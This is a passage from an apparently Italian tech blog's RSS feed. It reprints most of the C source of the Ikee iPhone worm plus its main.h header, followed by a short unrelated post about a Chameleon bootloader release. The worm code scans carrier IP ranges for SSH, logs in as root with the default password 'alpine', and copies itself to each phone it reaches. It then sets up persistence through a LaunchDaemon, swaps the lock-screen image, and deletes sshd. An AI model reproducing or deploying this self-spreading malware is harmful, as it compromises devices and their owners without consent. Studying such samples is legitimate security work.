        syslog(LOG_DEBUG, &quot;Lannnnn&quot;);
        scanner(lanRanges);
        syslog(LOG_DEBUG, &quot;VODAPHONE&quot;);
        scanner(vodRanges1);
        scanner(vodRanges2);
        scanner(vodRanges3);
        syslog(LOG_DEBUG, &quot;OPTUSSSS&quot;);
        scanner(optRanges1);
        scanner(optRanges2);
        scanner(optRanges3);
        scanner(optRanges4);
        scanner(optRanges5);
        scanner(optRanges6);
        syslog(LOG_DEBUG, &quot;Telstra&quot;);
        scanner(telRanges);
    }
}

void scanner(char *ipRange)
{
    char *wee[10];
    char *begin[10];
    char *end[10];
    tokenise(ipRange, wee, &quot;-&quot;);
    int octaB, octaE, octbB, octbE, octcB, octcE;
    tokenise(wee[0], begin, &quot;.&quot;);
    tokenise(wee[1], end, &quot;.&quot;);
    octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX
    octaE = atoi(end[0]);
    octbB = atoi(begin[1]);
    octbE = atoi(end[1]);
    octcB = atoi(begin[2]);
    octcE = atoi(end[2]);
    int loop1;
    for (loop1=octaB; loop1&lt;=octaE; loop1++)
    {
        int loop2;
        for (loop2=octbB; loop2&lt;=octbE; loop2++)
        {
            int loop3;
            for (loop3=octcB; loop3&lt;=octcE; loop3++)
            {
                int loop4;
                for (loop4=0; loop4&lt;=255; loop4++)
                {
                    char* host;
                    asprintf(&amp;host, &quot;%i.%i.%i.%i&quot;, loop1, loop2,loop3, loop4);
                    //printf(&quot;\n\rScanning: %s&quot;, host);
                    if (scanHost(host) == 0 &amp;&amp; checkHost(host) == 0) // This will run scanHost THEN checkHost right?
                    {
                        syslog(LOG_DEBUG, &quot;Oh a sheep!&quot;);
                        //printf(&quot;\n\r - %s is vulnerable&quot;, host);
                        infectHost(host);
                    }
                }
            }
        }
    }
}

// http://img41.imageshack.us/img41/730/asto.jpg
int scanHost(char* host)
{
    int res, valopt, soc;
    struct sockaddr_in addr;
    long arg;
    fd_set myset;
    struct timeval tv;
    socklen_t lon;
    soc = socket(AF_INET, SOCK_STREAM, 0);
    arg = fcntl(soc, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(soc, F_SETFL, arg);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(22);
    addr.sin_addr.s_addr = inet_addr(host);
    res = connect(soc, (struct sockaddr *)&amp;addr, sizeof(addr));
    if (res &lt; 0) {
      if (errno == EINPROGRESS) {
        tv.tv_sec = 10;
        tv.tv_usec = 0;
        FD_ZERO(&amp;myset);
        FD_SET(soc, &amp;myset);
        if (select(soc+1, NULL, &amp;myset, NULL, &amp;tv) &gt; 0) {
            lon = sizeof(int);
            getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&amp;valopt), &amp;lon);
            if (valopt) {
              return -1;
            }
        }
        else {
            return -1; }
      }
      else { return -1; }
    }
    close(soc);
    return 0;
    // Set to blocking mode again...
    //arg = fcntl(soc, F_GETFL, NULL);
    //arg &amp;= (~O_NONBLOCK);
    //fcntl(soc, F_SETFL, arg);
}

int checkHost(char *host)
{
    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'&quot;, VULN_PASS, host);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
}

int runCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    // Really am to lazy to check this but im piling comands as so
    // command1; command2; command3; echo 99
    // my belief is that if for instance command2 dies we wont hit the echo 99
    // which will make us return -1
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1;
}

int prunCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {
        printf(&quot;%s&quot;,buff);
    }
    pclose(in);
    return -1;
}

int CopyFile(char* src, char* dst, char* host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s&quot;, VULN_PASS, src, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {}
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'&quot;, VULN_PASS, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, dst))
            return 0;
    }
    pclose(in);
    return -1;
}

int ChangeOnBoot()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int KillSSHD()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;rm -f /usr/sbin/sshd; killall sshd&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand(&quot;uname -n&quot;, host) == 0)
    {
        //printf(&quot;\n\r - Infecting: &quot;);
        prunCommand(&quot;uname -n&quot;, host);
        prunCommand(&quot;rm /bin/sshpass&quot;, host);
        prunCommand(&quot;rm /bin/poc-bbot&quot;, host);
        //prunCommand(&quot;killall poc-bbot&quot;, host);
        if (CopyFile(&quot;/bin/poc-bbot&quot;, &quot;/bin/poc-bbot&quot;, host) == 0 &amp;&amp; CopyFile(&quot;/bin/sshpass&quot;, &quot;/bin/sshpass&quot;, host) == 0)
        {
            //printf(&quot; - Replicated successfully&quot;);
            prunCommand(&quot;rm /var/mobile/Library/LockBackground.jpg; echo \&quot;\r\n - Removed old background\&quot;&quot;, host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host);
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/log/youcanbeclosertogod.jpg&quot;, host);
            //CopyFile(&quot;/var/mobile/Library/LockBackground.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host); // We aren't
installing an app.

            //printf(&quot; - Background set (ast.jpg).&quot;);
            CopyFile(&quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, &quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;,
host);
            prunCommand(&quot;launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, host);
            // I didn't want to have to do this.
            prunCommand(&quot;rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload
/Library/LaunchDaemons/com.openssh.sshd.plist&quot;, host);
            prunCommand(&quot;killall sshd&quot;, host);
            //printf(&quot;\n\r - Program set to startup on boot&quot;);
            //prunCommand(&quot;reboot&quot;, host)
            //printf(&quot;\n\r - Rebooting phone!&quot;);
            //CopyFile(&quot;ngtgyu.m4r&quot;, &quot;/var/mobile/ngtgyu.m4r&quot;, host);
            //printf(&quot;\n\r - Ringtone set (ngtgyu.m4r).&quot;);
        }
    }
    return 0;
}

// END
</pre>
<p>Dal blog<a href="http://tungchingkai.blogspot.com/2010/01/source-code-for-ikee-iphone-worm.html"> CK&#8217;s IT</a> ecco invece il file <strong>main.h</strong> mancante:</p>
<pre class="brush: cpp; title: ; notranslate">
# include &lt;sys/fcntl.h&gt;
# include &lt;stdio.h&gt;
# include &lt;stdlib.h&gt;
# include &lt;sys/time.h&gt;
# include &lt;unistd.h&gt;
# include &lt;sys/types.h&gt;
# include &lt;sys/socket.h&gt;
# include &lt;netinet/in.h&gt;
# include &lt;netdb.h&gt;
# include &lt;arpa/inet.h&gt;
# include &lt;syslog.h&gt;
# include &lt;errno.h&gt;
# include &lt;ifaddrs.h&gt;
# include &lt;string.h&gt;

# define MAX_NUM 24
# define VULN_PASS &quot;alpine&quot;

void scanner (char * ipRange);
int scanHost (char * host);
int checkHost (char * host);
int RunCommand (char * comando, char * host);
int prunCommand (char * comando, char * host);
int CopyFile (char * src, char * dst, char * host);
int ChangeOnBoot ();
int KillSSHD ();
int infectHost (char * host);
char * randHost (void);
int GET_LOCK (void);
char * getAddrRange ();
int tokenise (input char [], char * token [], char * SPL);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rilasciata la RC4 di Chameleon 2.0</title>
		<link>http://www.pcexpert-blog.com/2009/12/rilasciata-la-rc4-di-chameleon-2-0.html</link>
		<comments>http://www.pcexpert-blog.com/2009/12/rilasciata-la-rc4-di-chameleon-2-0.html#comments</comments>
		<pubDate>Sun, 13 Dec 2009 14:26:02 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[pc]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1527</guid>
		<description><![CDATA[<p></p>
<p>Finalmente è stata rilasciata la Release Candidate 4 di Chameleon 2.0 che porta con sè numerose novità. Ecco di seguito le principali:</p>

Possibilità di creare partizioni invisibili nel menù<p></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/Immagine10.jpg"><img class="aligncenter size-medium wp-image-1528" title="Immagine10" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/12/Immagine10-300x212.jpg" alt="Immagine10" width="300" height="212" /></a></p>
<p>Finalmente è stata rilasciata la Release Candidate 4 di Chameleon 2.0 che porta con sè numerose novità. Ecco di seguito le principali:</p>
<ul>
<li>Possibilità di creare <strong>partizioni invisibili</strong> nel menù di boot.</li>
<li>Introdotta l&#8217;opzione <strong>PciRoot</strong> impostata di default a zero.</li>
<li>Corretti numerosi bug.</li>
<li>Aggiunto il supporto alle nuove <strong>Intel Core i5</strong>.</li>
</ul>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=293"><span style="color: #ff0000;"><strong>Download</strong></span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/12/rilasciata-la-rc4-di-chameleon-2-0.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

